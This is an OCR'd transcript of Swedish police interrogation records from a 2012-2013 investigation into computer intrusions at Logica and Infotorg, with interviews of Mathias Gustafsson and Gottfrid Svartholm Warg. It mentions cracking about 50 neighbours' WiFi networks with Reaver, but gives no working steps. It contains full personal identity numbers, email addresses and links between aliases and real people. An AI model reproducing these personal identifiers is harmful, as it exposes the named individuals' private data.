Mathias uppger att Gottfrid Svartholm W arg har berättat för Mathias då de chattat med 
varandra, att han befann sig i Kambodja. 
Mathias uppger att Gottfrid berättade att han "stack" till Kambodja efter "Pirate Bay-domen. " 

Mathias tillfrågas om vilket alias Gottfrid Svartholm Warg använde då de båda 
chattade med varandra? 
Mathias uppger att han inte minns detta just nu. 

Mathias tillfrågas om vilka datakunskaper Gottfrid Svartholm Warg har? 
Mathias uppger att Gottfrid är oerhört smart och kunnig. Mathias tycker att han själv är 
ganska duktig "på datorer" men han uppger att Gottfrid är honom överlägsen i datorkunskap. 
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Mathias informeras om att sparade chattkonversationer som skett via IRC har 
påträffats i beslagtaget material. 
Mathias får ta del av utdrag ur denna chatt trafik som inhämtas hos Passagen.se mellan 
alias "diROX" samt "tLt" följande datum och tidpunkter: 
2012-03-10 kl. 16:54-16:56 
2012-03-25 kl. 2 1 : 1 1-21 : 15 
Mathias ombeds kommentera denna chattrafik. 
Mathias säger då spontant att alias "tLt" är Gottfrid Svartholm W arg. Det minns han bestämt. 
Han säger också om konversationen 20 12-03 -25 kl. 2 1 : 1 1  där Gottfrid pratar om 
"infotorgskonton" att den visar att Mathias hela tiden har haft rätt i det han försökt forklara att 
han själv inte har haft något med dessa konton att göra. 
Mathias uppger att han bara har testat att logga in på några av dessa konton men att det är 
andra personer som har hackat sig in. 
Vilka dessa personer är vill inte Mathias uppge. 

Uppläst och godkänt 
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Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 
Hörd person 

Gustafsson, Bror Olof Mathias 

Förhör 

694 
Signerat av 

Ulf Malm 
Signerat datum 

20 1 3 -03 - 1 2  1 6 : 3 1 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 976 1 1 1 7-7234 

Den hörde är  I D  Styrkt 

Ja 
Sätt stäl ln ing till misstänkt - målsägande - vittne 

Misstänkt känd av Ulf Malm 
Tolk Språk 

Brottsmisstanke l Anledning til l förhöret 

komplettering. 
Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Ja Ja 
Försvarare/ombud önskas Försvarare/ombud närvarande Godtar den försvarare som rätten förordnar 

Advokat Byron Ternström 

Förhörsledare Förhörsdatum Förhör påbörjat Förhör avslutat 

Ulf Malm 20 1 3 -03-07 14 :00 1 5 :20 

Förhörsplats Typ av förhör Förhörssätt 

Polisstationen i Ludvika RB 23 : 6  
Förhörsvittne Utskrivet av 

Berättelse 

Förhörsledare är även inspektör Bengt Rehnberg, Länskriminalpolisen, Stockholm. 
Advokat Ternström medverkar genom högtalartelefon där han avlyssnar förhöret. 

FRÅGOR OM BESLAG ETC. 

Mathias delges ett fotografi av beslag 2012-0201-BG10221-14. (dator) 
Han ombeds kommentera vems dator det är samt vad den har använts till. 

Mathias uppger att datorn tillhör hans syster Kitty men att den har använts av honom. 
Han har använt denna dator till att "hacka" nätverk. 

Mathias delges ett fotografi av beslag 2012-0201-BG1022 1-15.  (dator) 
Han tillfrågas om denna dator är hans och vad han i så fall har använt den till. 

Mathias uppger att denna IBM-dator tillhör en kvinna "i tobaksaffåren" i närheten av hans bostad. 
Han har haft datorn hemma för att laga den. 
Mathias tror att han inte har använt denna dator. 

Mathias delges ett fotografi av beslag 2012-0201-BG1022 1-16 (HP-dator). 
Han ombeds kommentera vems dator är och vad den använts till. 

Mathias uppger att han är osäker, men han tror att datorn tillhör hans flickvän Lisa. Om det är Lisas 
dator så har han själv använt datorn ibland. 

Mathias informeras om att denna dator är heldiskkrypterad med LUKS. Han tillfrågas om 
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det är han sj älv som har gj ort denna kryptering. 

Mathias svarar "vet ej " men han säger samtidigt att det kan vara han som gjort detta. 

Mathias delges fotografi av beslag 2012-0201-BG1022 1-17 (LG-dator) och informeras om att 
denna dator är heldiskkrypterad med LUKS. 
Mathias tillfrågas om det är hans dator och om det är han som har gj ort krypteringen? 

Mathias uppger att det är hans dator. Det är han som gjort krypteringen men han minns inte när det 
skedde. 

Mathias delges ett fotografi av beslag 2012-0201-BG10221-13 (Minneskort). 
Han tillfrågas om det är hans minneskort samt om han kan kommentera informationen som 
påträffats på minneskortet 
Mathias uppger att han inte vet om det är hans minneskort, men att det kan vara så. Han känner inte 
till vilken information som finns på kortet. 

Han informeras om att det finns en katalog på kortet benämnd infotorg och tillfrågas hur har 
den hamnat på minneskortet? 
Mathias uppger att han själv har skapat katalogen. 

Tillfrågas om varifrån filerna i katalogen har kopierats? 
Mathias svarar "vet ej " .  
Han uppger att han enbart har fått uppgifterna via internet. Mathias betonar att han inte har laddat ner 
någon fil utan fått dessa sända till sig och som han sedan har sparat. 

Mathias får ta del av ett utdrag av katalogen kallad INFOTORG i analysprotokollet och 
tillfrågas om sin kännedom om dessa filer och mappar. Han får även ta del av ett utdrag där 
användaren försöker hämta dataset och spara dessa i katalogen "/home/luciddream/polis " 
: av innehållet i filen framgår att den lokala användaren "luciddream " på datorn "LG-Linux" 
den 4 mars 2012 kl 02.25 loggar in med användarkontot: BSN0058 ftp.infodata.se 

Mathias uppger att han "aldrig har loggat in på ftp:n" utan han har bara varit på "web snittet på 
Infotorgs hemsida" . 

Mathias delges ett fotografi av beslag 2012-0201-BG1 022 1-19 (dator). 
Han tillfrågas om detta är Kittys dator? 
Mathias uppger att det är Lisas dator. 

Varför har Mathias använt denna dator? 
Mathias uppger att han har hackat trådlösa nätverk med denna dator. 

Mathias får ta del av urklippet från bas h _history filen i analysrapporten och tillfrågas om 
varför det har funnits en mapp "lnfotorg" i datan LG-Linux som hade lP adressen 
1 92.1 68.1 .18?  
Mathias uppger "vet ej " .  

Mathias tillfrågas o m  varför sökning gjorts efter ordet " Iudvika" i filen log.txt. 
Mathias uppger "minns ej " .  
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Mathias tillfrågas om vem som gj ort sökningen av ordet Iudvika? 
Han uppger att "det kan vara han som gjort sökningen" men han är inte säker. 

Mathias får ta del av 3 raderade mail skickade från mailadressen: luciddream@gmail.com i 
samband med sökningen ovan. Han tillfrågas om han skickat dessa mail? 
Mathias svarar att han inte vet. 

Mathias tillfrågas om varifrån han fått informationen som skrivs i mailen? 
Han svarar att han hittat informationen på infotorg. 

Mathias förevisas ett urklipp ur analysprotokollet som visar filen rhythmbox.xml. 
Totalt har 29 864 unika filer och kataloger indexerats på infotorgkatalogen. 

Mathias tillfrågas om varrör dessa 29 864 filer har indexerats i en mapp som hetat Infotorg i 
användaren luciddreams hemkatalog i en tidigare installation? 
Mathias svarar att han inte vet varför. 

Mathias rörevisas urklipp ur analysprotokollet under rubriken " ospecificerad data" 
Han får även ta del av fynden ang. lP adresser hämtade från Bahnhof spårade via Quadracom 
till Mathias. 
Han tillfrågas om varrör det finns så stora mängder av den typen data som Logica hävdar 
kommer från deras system kvar på din hårddisk? 
Mathias svarar "vet ej " .  

Mathias delges ett fotografi av beslag 2012-0201-BG1022 1-29 (dator HP) 
Han tillfrågas vad datorn har använts till? 
Mathias uppger att denna dator är och har varit trasig och ej använts .  

FRÅGOR OM MATHIAS 

Tillfrågas om han använt alias " diROX" samt "luciddream " i samband med chatt? 
Mathias uppger att han använt dessa alias . 

FRÅGOR OM NICKS 

Tillfrågas om sin syn på att använda nicks? 
Mathias uppger att alla använder nicks för att man ska skilj a  sig från t.ex. "Mathias" som är ett vanligt 
namn. Han uppger också att andra personer kan använda samma alias så det är ingen garanti att det är 
den personen som skapat alias som avses. 

Mathias tillfrågas om Gottfrid Svartholm Wargs alias? 
Mathias uppger att han känner till att Gottfrid använde "tLt" samt"anakata" .  

Tillfrågad o m  Mathias känner till att Gottfrid även använt sig a v  alias "Annis " och 
" Choyklon " ?  
Mathias uppger att han inte känner till dessa alias . 

Tillfrågas om alias : " Snuggl" ,  " Happy H" och " Hapan " ?  
Mathias uppger att han känner till dessa nicks men han vet bara att Snuggl är Kristoffer Smedlund och 
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att Hapan är en kille som heter Adam. Betr. Happy H så har Mathias ingen aning om vem det är. 

Mathias tillfrågas om Happy H är Mikael Hägerbro? 
Mathias uppger att han inte känner igen detta namn. 

Mathias tillfrågas om vem som har alias " Slangen" ?  
Han uppger att han inte vet vem det kan vara. 

FRÅGOR OM UBUNTO ONE 

Mathias informeras om att spår har hittats i hans datorer som visar att han har haft ett konto i 
hans namn med epost adressen luciddream 1976@hotmail.com hos Ubunto One. 
Han tillfrågas om vad han har haft för data där? 

Mathias uppger att han använt detta som backup för webbläsare t. ex. Firefax samt Linuxprogram. 

Mathias tillfrågas varför det finns över 1400 dataset från Logicas servermilj ö lagrat på hans 
Ubuntokonto? 
Mathias svarar "vet ej " .  

Mathias ombeds lämna e n  kommentar o m  uppgiften att dessa dataset finns på hans konto. 
Mathias avböjer att kommentera påståendet. 

Mathias tillfrågas om vad han känner till om den raderade textfilen " kontoinfo " ?  Han får ta 
del av urklippet i analysprotokollet. 
Mathias svarar att han inte känner till något om detta. 

Mathias tillfrågas om filen infotorgusers.xls samtidigt som han får se ett urklipp ur 
analysprotokollet. 
Mathias svarar att han inget vet om denna fil. 

Mathias får ta del och ombeds kommentera filerna "vc242 
tfy.ource.txt" från analysprotokollet. 
Mathias svarar att han inget vet om dessa filer. 

_backdoor",  " tfy.ource" och 

Mathias tillfrågas och ombeds kommentera varför användaren "luciddream" ,  som sitter vid en 
dator som heter LG-LINUX, loggar in med kontot BSN0058 via ftp på en dator som heter 
ftp.infodata.se? 
Mathias uppger att han inte har loggat in på ftp utan bara på webbsnittet. 

FRÅGOR OM PASSAGEN 

Mathias får ta del av bildfil vfqfssij .jpg och tillfrågas om varför han har en inskannad bild av 
Gottfrid Svartholms Kambodj anska körkort? 
Mathias uppger att han fick bilden av Gottfrid personligen då Gottfrid hade fått sitt kambodj anska 
MC-körkort. Han tyckte det var en kul grej att ha. 

Mathias tillfrågas och ombeds kommentera en sparad chattkonversation på filerna rootinfo och 
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anakata.ssh mellan " diROX" dvs. Mathias och alias " anakata.ssh " dvs. Gottfrid Svartholm 
W arg. 
Mathias uppger att han har chattat med Gottfrid vid några tillfällen. Han minns dock inte speciellt 
detta. 

Mathias får ta del av material från " katalogen wep " .  
Mathias uppger att han har sparat ner grannarna lösenord i en mapp som heter wpa-knackt. 
Lösenorden har han sparat när han har hackat dem. Det rör sig om ca 50 nätverk. 
Betr. Mappen med "bilar" så uppger Mathias att det är civila polisbilar, gamla dokument ca 5 år. Han 
har fått dessa av någon på Flashback. Han minns inte av vem. 
Betr. mappen "dump" så uppger Mathias att "han kan ha loggat in på webben och listat användare" . ' 
* Mappen innehåller 5 st. Excelfiler som visar olika användares behörigheter på InfoTorg. 
Samma sak gäller mappen info. 

FRÅGOR OM GOTTFRID 

Mathias får ta del av mailkonversation mellan luciddream@gmail.com och info@prq.se och 
gottfrid@prq.se. 
Uppgifterna är daterade 2005. 

Mathias tillfrågas hur länge han känt Gottfrid? 
Han uppger sig ha känt Gottfrid sedan 1 998 .  De lärde känna varandra på en datakurs genom en 
flickbekant. 

Mathias tillfrågas om han vet var Gottfrid har uppehållit sig den senast tiden? 
Han uppger att han vet att Gottfrid bott i Kambodj a  och att han tidigare vistades i Mexiko. 

Mathias tillfrågas om han sj älv har besökt Gottfrid i Kambodj a? 
Han uppger att han inte har gjort det. Mathias har däremot sj älv varit i Kambodj a  i samband med en 
visumansökan till Thailand. 

Mathias tillfrågas om han vid något tillfälle har träffat Mikael Hägerbro, i Kambodj a t.ex.? 
Han uppger att han inte har gjort det och att han inte känner till namnet. 

FRÅGOR OM HACK.SE 

Mathias informeras om att i Gottfrid Svartholms dator som togs i beslag i tidigare mål, 
påträffades en fil som listar användare på " hack.se " .  I denna fil återfinns användaroarnuet 
" dirox",  filen är från september 2003. 

-Mathias tillfrågas om han sj älv är en del av gruppen och om det inte är så, hur har han kunnat 
få tillgång till deras chatt rum? 
Han uppger sig inte ingå i gruppen. Mathias har däremot blivit inbjuden av Gottfrid Svartholm att 
ibland besöka "chattrummet" .  Det har Mathias gjort av nyfikenhet. 
Mathias vill inte närmare kommentera något om gruppen. 

FRÅGOR OM DATAINTRÅNG MOT GRANNAR 

Mathias tillfrågas om hur många grannars trådlösa nätverk han har hackat? 
Han uppger sig ha hackat 50 st. och loggat in på l O st. 
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Tillfrågas om tillvägagångssätt? 
Mathias uppger att han använt sig av ett program som heter "Reaver" där man kan söka"wpskoder" . 
Programmet är gratis och laddas ner från intemet. 
Mathias kommer ihåg att ett av de nätverk han hackade heter "Backe" .  

Tillfrågas om varför han hackade dessa nätverk? 
Mathias uppger att han var nyfiken på säkerheten och ville testa om det gick att hacka dessa. 

Tillfrågas om han använt dessa hackade nätverk för att logga in på t.ex. InfoTorg? 
Mathias uppger att han ibland har använt nätverken till detta. 

FRÅGOR OM DATAINTRÅNG MOT INFOTORG 

Informeras om att stora mängder av Mathias användaruppgifter till infotorg har hittats i 
beslagen samt inhämtade data från passagen.se. 
Tillfrågas om hur han har kommit över dessa uppgifter? 
Mathias uppger att han har fått dom av en person han ej vill namnge. 

Tillfrågas om varför han gj ort sammanställning på användaruppgifter? 
Mathias svarar "vet ej " .  

Tillfrågas o m  hur länge har han haft tillgång till dessa användaruppgifter? 
Mathias svarar "vet ej " .  

Mathias informeras o m  att användaruppgifter har mailats till olika personer, bl.a. till 
" smittsam@hush.com" och " robbadobbsoldier@hotmail.com " .  
-Han tillfrågas o m  vilka dessa personer är? 
Mathias uppger att han inte känner till smittsam@hush.com men däremot vet han att han har mailat 
robbadobbsoldier@hotmail.com. Han vet dock inte hans namn. 

FRÅGOR OM DATAINTRÅNG MOT LOGICA 

Tillfrågas om han med användarnarun "luciddream" gj ort inloggning mot Logica med 
användarkontot BSN0058? 
Mathias svarar att han inte har gj ort detta. 

Tillfrågas om katalogen "/home/luciddream" är en hemkatalog på datorn LG-Linux? 
Mathias svarar ja  på denna fråga. 

Tillfrågas från vem han har fått användaruppgifterna till BSN0058 och om han varit medveten 
om att detta är en inloggning mot Logicas stordatormilj ö? 
Mathias svarar att han inte har gjort denna inloggning och därför inte kan besvara frågorna. 

Uppläst i telefon 20 1 3 -03 - 1 2  för Mathias och godkänt utan erinran. 
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Polismyndighet 

Stockholms län 
Enhet 

Förhör 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Svartholm Svartholm W arg, Per Gottfrid 

Den hörde är 

Misstänkt 

Tolk 

ID  styrkt 

Ja 

Brottsmisstanke l Anledning t i l l  förhöret 

Se nedan. 

Sätt 

Identifierad av Christer 

Kågström Rikskrim 

Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 984 1 0 1 7-0537  

Stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt ti l l  försvarare (best i FUK 1 2§ iakttagna) 

Ja Ja 
Försvarare/ombud önskas Försvarare/ombud närvarande 

Ola Salomonsson 

Förhörsledare 

Bengt Rehnberg 
Förhörsplats 

Gränspolisen F-terminalen Arlanda 
Förhörsvittne 

Berättelse 

Gottfrid Svartholm W arg underrättad om följande misstankar. 

Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-09- 1 1  07 :08 07: 1 0  
Typ av förhör Förhörssätt 

RB 23 :6  
Utskrivet av 

Gottfrid Svartholm W arg misstänks för dataintrång alternativt medhjälp till dataintrång under 
tidsperioden l januari 20 1 0  till och med 1 5  april 20 1 2  att vid flera tillfållen via Internet 
olovligen bereda sig tillgång till uppgifter i databaser tillhörande företaget Logica, och att vid 
flera tillfållen via Internet olovligen bereda sig tillgång till uppgifter i Infotorgs 
användargränssnitt 

Gottfrid Svartholm W arg har ingen kommentar till dessa misstankar. 

Uppläst för och godkänt av Svartholm W arg. 
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Förhör 
Signerat av 

Olle Wahlström 
Signerat datum 

Polismyndighet 

Stockholms län 
20 1 3 -03-2 1 1 6 : 1 5  

Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Svartholm Svartholm Warg, Per Gottfrid 

Den hörde är 

Misstänkt 
Tolk 

ID  styrkt 

Ja 

Brottsmisstanke l Anledning t i l l  förhöret 

Sätt 

Känd av fh 

Fortsatta förhör ang. datanintrång 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 984 1 0 1 7-0537  

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Ja 
Försvarare/ombud önskas 

Ola Salomonsson 

Förhörsledare 

Olle Wahlström 
Förhörsplats 

Häktet Kronoberg 
Förhörsvittne 

Steenmark, John G 

Berättelse 

Försvarare/ombud närvarande 

Ja 
Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 12-09- 1 3  1 3 :05 1 3 :07 
Typ a v  förhör Förhörssätt 

RB 23 :6  
Utskrivet av 

Fhl : . . .  ohörbart . . .  Du är tidigare delgiven misstanke om dataintrång respektive 
medhjälp till dataintrång från l januari 20 l O - 1 5  april 20 1 2  vid flera tillfällen, 
att du har berett dig tillträde till Logicas servrar. 

SW: Jaha . . .  

Fhl : Vad är din inställning till misstanken? 

SW: Jag förnekar brott. 

Fhl : Den här utredningen, den har ju pågått sedan i våras och vi har ju haft en 
del material som vi har tittat i. Det finns tydliga indikationer i det här materialet 
som att du skulle vara inblandad. Känner du till det här intrånget mot Logica? 

SW: Inga kommentarer ! 

Fhl : Har du någon speciell anledning till att du inte kommentarer? 

SW: Inga kommentarer ! 

Fhl : Känner du Mattias Gustavsson? 

SW: Inga kommentarer ! 
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Fhl: Känner du Christoffer Smedlund? 

SW: Inga kommentarer ! 

Fhl : Har advokaten några frågor? 

Adv: Jag har inte en fråga, nej . 

Fhl : Nej . Då tror jag att vi avslutar förhöret där. Förhöret avslutat kl . 1 3 .07.  

Stockholm som ovan 

Olle Wahlström 
Kriminalinspektör 
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Förhör 
Signerat av 

Olle Wahlström 
Signerat datum 

Polismyndighet 

Stockholms län 
20 1 3 -03-2 1 1 6 : 1 4  

Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Svartholm Svartholm W arg, Per Gottfrid 

Den hörde är 

Misstänkt 
Tolk 

ID  Styrkt 

Ja 

Brottsmisstanke l Anledning ti l l  förhöret 

Sätt 

känd sedan tidigare förhör 

F ortsatta förhör angående dataintrång 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 984 1 0 1 7-0537 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Ja 
Försvarare/ombud önskas 

Advokat Ola Salomonson 

Förhörsledare 

Olle Wahlström 
Förhörsplats 

Häktet i Sollentuna 
Förhörsvittne 

Berättelse 

Ja 
Försvarare/ombud närvarande 

Ja 
Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2- 1 0- 1 1 09 : 55  09 :57  
Typ a v  förhör Förhörssätt 

RB 23 : 6  Ljudbandsförhör 
Utskrivet av 

Närvarande under förhöret är advokat Ola Salomonson (OS) förhörsledare Olle Wahlström 
(OW), biträdande förhörsledare John Steenmark (JS) .  Hörd person är Gottfrid Svartholm 
Warg (GSW) 

OW: Ja, sedan vårt förra förhör . . .  är det något som du har tänkt på som du vill . . .  
(Förhörsledaren hinner inte ställa frågan färdigt förrän den hörde svarar) 

GSW: Inga kommentarer. 

OW: Det här intrånget mot Logica, har du någonting att säga om det. 

GSW: Inga kommentarer. 

OW: Och om du kände Mathias Gustavsson. 

GSW: Inga kommentarer. 

OW: Eller . . .  Christoffer Smedlund. 

GSW: Inga kommentarer. 

OW: Har advokaten några frågor. 

OS :  Nej .  
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Förhör 
Signerat av 

Olle Wahlström 

Log i ca Signerat datum 

Polismyndighet 

Stockholms län 
20 1 3 -03-2 1 1 6 : 1 6  

Enhet 

LU/IT !T-forensisk sektion 
Hörd person 

Svartholm W arg, Per Gottfrid 

Den hörde är 

Misstänkt 
Tolk 

I D  styrkt 

Ja 

Brottsmisstanke l Anledning t i l l  förhöret 

Sätt 

Känd av Olle Wahlström 

Fortsatta förhör angående dataintrång mot Logica 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 984 1 0 1 7-0537  

Stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt till försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud önskas 

Jurist Martin Larsson 

Förhörsledare 

Olle Wahlström 
Förhörsplats 

Mariefredsanstalten 
Förhörsvittne 

Berättelse 

Försvarare/ombud närvarande 

Ja 
Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 3 -03-08 1 0 :05 1 0 :40 
Typ av förhör Förhörssätt 

RB 23 :6  
Utskrivet av 

(Biträdande förhörsledare är Joakim Persson och John Steenrnark från Länskriminalpolisen) 

OW: Jag börjar att fråga_ Den här lägenheten där du bodde när du greps, hur länge hade du 
bott där? 

GS:  Inga kommentarer. 

OW: När du var i Kambodja hade du något jobb där eller drev du något företag? 

GS : Svar ja.  

OW: Kan du beskriva närmare vad du jobbade med? 

GS :  Ja . . .  jag dels frilansade som konsult och dels bedrev jag under nästan två års tid ett 
outsourcingföretag som sysslade med webutveckling. 

OW: Vad hette det företaget? 

GS :  Inga kommentarer . . .  ja det kan jag i och för sig svara på, det hette Arocore och sen 
Finesy. 

OW: Du jobbade som konsult åt någon sa du också? 

GS :  Jag frilansade. 
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OW: Åt något speciellt företag? 

GS:  Frilansande. 

OW: Hade du någon inkomst? 

GS : Ja 

OW: Hur mycket då ungefär? 

GS : Inga kommentarer. 

OW: Ett företag som heter Mysec, har du jobbat någonting åt dem? 

GS:  Inga kommentarer. 

OW: Jag antar att du inte kommenterar om du fick någon betalning från dem heller? 

GS : Ingen kommentar. 

OW: I din lägenhet hittade vi två datorer, en stationär och en MaeBook Är det du som har 
använt dem? 

GS : Inte personligen, nej de är servrar. 

JP :  Båda två? 

GS : Ja, det framgår ganska tydligt av laptoppen, om ni tvivlar för tangentbordet var trasigt. 
Jag kan tillägga att jag tror faktiskt Steenmark här kan intyga att jag alltid haft servrar hemma. 

OW: Ja. Om vi tar den här stationära först. Vad har den används till då? Förutom att den är en 
server. Vad har du gjort med den? 

GS : Den har använts som server. 

O W: I vilket syfte? 

GS : Den har använts som server. 

OW: Och MacBooken då? 

GS : Den har använts som server. 

JP: Vad har du haft för serverprogramvaror till den? 

GS:  Det har jag svarat på redan. 

JP: Och det är? 

GS : Ja . . .  ssh, Powershell Server, Remote desktop och så vidare 

JP: På MacBooken? 

GS : Ja 
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JP :  Vad är det för operativsystem på MacBooken? 

GS :  Det är två operativ installerade Mae OS X och Windows 7 

OW: Och vilket har du använt av dem? 

GS:  Båda två, eller ja jag, båda två har jag använt vid diverse tillfällen. 

OW: Hur länge sedan var det du använde Mae-delen . . .  

GS :  Ingen aning 

OW: I den stationära datorn, där fanns det en hårddisk som låg lite löst, som hade två 
partitioner. Min fråga är, den andra partitionen vad du använde den till? 

GS : Ingen aning, minns inte. 

JP: Minns du vad ligger, som ligger på de första partitionerna. 

GS : Hur ska jag kunna minnas det. Det har ju gått ganska många månader . . .  eller år sedan 
den partitionerades .  

JP : Men datat som ligger på den är inte så gammalt eller? 

GS:  Ja, jag säger det jag tidigare har sagt, den stod som server. Jag vet inte exakt vad som 
ligger på den. Och det är ganska absurt att man ska behöva minnas specifika saker som hur 
mina diskar är partitionerade så här långt fram i tiden. 

OW: Den andra hårddisken där var ju ett Linux-operativ installerat, där hade du gjort sex 
partitioner. Vad är de två sista partitionerna där, vad innehåller de, kommer du ihåg det? 

GS : Minns inte. 

OW: Om vi tar din MaeBook då, där fanns ju både Windows och Mae. Du säger att du har 
använt både operativen där. 

GS : Båda operativen har används på datorn och jag vill betona det inte är jag personligen som 
har använt datorerna på senare tid. 

OW: Nej , men de har använts båda två då? 

GS : Ja det låter rimligt. 

OW: I Windows där finns det ju en del konton, kommer du ihåg vilka som har haft konton 
från den datorn? 

GS : Ja, jag vet på ett ungefår vilka personer det är men . . .  

OW: Kontot "A" till exempel? 

GS : Som sagt jag minns ungefår vilka personen är och jag . . .  av rädsla för mitt eget liv eget 
liv så väljer jag inte . . .  väljer jag inte . . .  inte vem det är. 
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OW: Är det personer som har haft fysisk tillgång till den här datorn? 

GS : I ett par av fallen, så ja.  

OW: Under vilken tidsperiod då? 

GS : Ett antal av kontona har använts av flera personer. 

OW: Under vilken tidsperiod har de här personerna haft tillgång till datorn rent fysiskt? 

GS:  Hur skulle jag kunna minnas det? 

OW: Det vet jag inte . 

GS : N ej precis 

OW: Men är det liksom en dag, en vecka, en månad eller ett år? 

GS:  Alltså, hur skulle jag kunna minnas det. Hur hade du tänkt dig att jag skulle . . .  Jag för 
inte dagbok. 

OW: Nej . Du har redan pratat om andra kunde använda dina datorer fjärrledes .  

GS : Ja. 

OW: Vilka personer var det som kunde göra det? 

GS:  Jag hänvisar till mitt tidigare svar. 

JP : Och på vilket sätt har det varit möjligt att fjärrstyra dem? 

GS : Powershell server, Remote desktop, båda installerade och aktiva på datorn. 

OW: Vilken dator pratar du om då? 

GS:  Nu utgår jag från att vi pratar om laptoppen . . .  

OW: Mm . . .  Remote desktop . . .  

GS : . . .  ja  och Powershell server. 

OW: Hur ofta har någon anslutit via Remote desktop till den? 

GS : Vet ej . 

OW: Är det ofta? 

GS:  Vet ej . 

OW: Har de anslutit via Remote desktop? 

GS : Svar ja.  Det utgår jag från i alla fall, jag har inte haft så mycket koll . 

OW: Jag tittade i dina loggfiler på windowsdatorn, där finns det inte en enda anslutning via 
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Remote desktop. 

GS : Ja . . .  som sagt, jag hänvisar till tidigare svar. Kom ihåg att Powershell server används 
också. 

OW: Men du sa ju Remote desktop som exempel. 

GS : Jag sa det som exempel ja. 

OW: SSH säger du också. 

GS :  Ja Powershell server 

OW: De här personerna då, som har haft tillgång det. Vill du säga någonting om dem? 

GS:  Svar nej . 

OW: Finns det någon anledning till att du inte vill säga . . . . .  ? 

GS :  Ja, för att jag är rädd för mitt liv. 

OW: De här som du är rädd för, är det personer som du har träffat fysiskt, som har besökt dig? 

GS : Ja. 

JP : Varför har de besökt dig? 

GS:  Inga kommentarer. 

OW: I Kambodja, vilken internetleverantör hade du då? 

GS : Minns ej . 

OW: Cogetel, kan det vara det? 

GS : Minns ej . 

OW: Brukar du använda några VPS- eller moln-tjänster? 

GS:  Minns ej . 

OW: Minns ej eller vill inte säga? 

GS : Vill inte säga. 

OW: På din Windows-partition här på Macdatorn, så kan man se att din klocka ställs om 
ganska frekvent, manuellt. Hur kommer det sig? 

GS:  För att backup batteriet i datorn är trasigt. 

OW: För att förtydliga. Vad händer då? 

GS : För att förtydliga. Vad händer då? Ja, då återställs klockan . . .  
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OW: Till vilket datum? 

GS : . . .  eller alternativt, alternativt går fel .  

OW: Till vilket datum ställs den om? 

GS : Bra fråga. Det beror på, det, asså, om när batteriet är så där halv . . .  halv . . .  (ohörbart) 

OW: Men vanligast är? 

GS :  Om det är helt nollat så, nää jag vet inte vad det blir. 

OW: Kan det vara l :a januari 200 1 ?  

GS : Det låter som ett rimligt epokdatum. Jag kan inte kommentera mer. 

OW: När du . . .  ställde tillbaka kockan då, när den har gått fel . . .  Hur brukar du göra då? 
Ställer du den på rätt datum eller hur gör du? 

GS : Jag minns inte . 

OW: Brukar du låta den synka mot en server? 

GS : Minns inte. 

OW: På din Windows-partition, där finns det en fil, som heter tOO l a, 1 6GB stor. Känner du 
igen den? 

GS : Minns ej . 

OW: Om vi säger att det är en TrueCrypt container 

GS:  Vet ej 

OW: Inget du känner till? 

GS : Nej 

OW: Har du använt den vid något tillfälle? 

GS:  Jag sa just att jag inte kände till den. 

OW: Du känner inte till den överhuvudtaget? 

GS :  Nej 

OW: Men ändå är den skapad redan 20 1 0  tror jag att det blir. 

GS : Jag sa just att klockan i datorn gick fel, det kanske det är. 

OW: Ja, inte från 20 1 0  hoppas jag den gjort det. 

GS :  Dålig kvalitet på den där djävla . . .  djävla Macen 

OW: Macen? 
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JP :  Den var ju nästan ny 20 l O 

OW: PuTTY brukar du använda det? 

GS : Inga kommentarer. 

OW: Mattias Gustafsson känner du honom? 

GS : Inga kommentarer. 

OW: Vill du inte kommentera eller är du rädd eller vet du inte, kan du svara på det? 

GS:  Inga kommentarer. 

OW: diROX . . .  ? 

GS : Inga kommentarer 

OW: Vi kan se, eller vi vet ju sen tidigare att du haft mailkontakt med Mattias Gustafsson, 
redan 2006. 

GS: Nu håller du dig inte till tiden. 

OW: Ja, men det gällde om du kände honom alltså? 

GS : Ja, jag lämnar ingen kommentar till det. 

OW: I din dator så finns ett antal olika loggfiler, över anslutning du har gjort mot Logicas . . .  
eller som finns i datorn mot Logicas system, vad kommer de här loggfilerna ifrån? 

GS : Gissningsvis från dem som använt datorn. Antingen lokalt eller mer troligt remote. 

OW: Har du sett de här loggfilerna? 

GS : Svar nej . På vilken av datorerna var det? 

OW: Det är på MacBooken. 

JP : Windows Partitionen 

OW: Ja, På dina datorer så finns en ganska stor mängd data som kommer från Logica, nu 
pratar vi båda datorerna. Hur har den hamnat där? 

GS:  Hänvisat till tidigare svar. 

JP: Som är? 

GS : Hänvisar till tidigare svar. 

OW: OK, Jag sa ju att tOO l var en TrueCrypt container, brukar du använda programmet 
TrueCrypt? 

GS : Ingen kommentar 
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OW: Vet du om du autostartar någonting med TrueCrypt? 

GS: Va? 

OW: Att det monterar någonting när du starta datorn? 

GS: (Ohörbart mummel) 

OW: Jag tror vi tar lite frågor, Joakim. 

JP : Mm, precis . Som du kanske känner till så har ju Mattias Gustavsson, också delgivits 
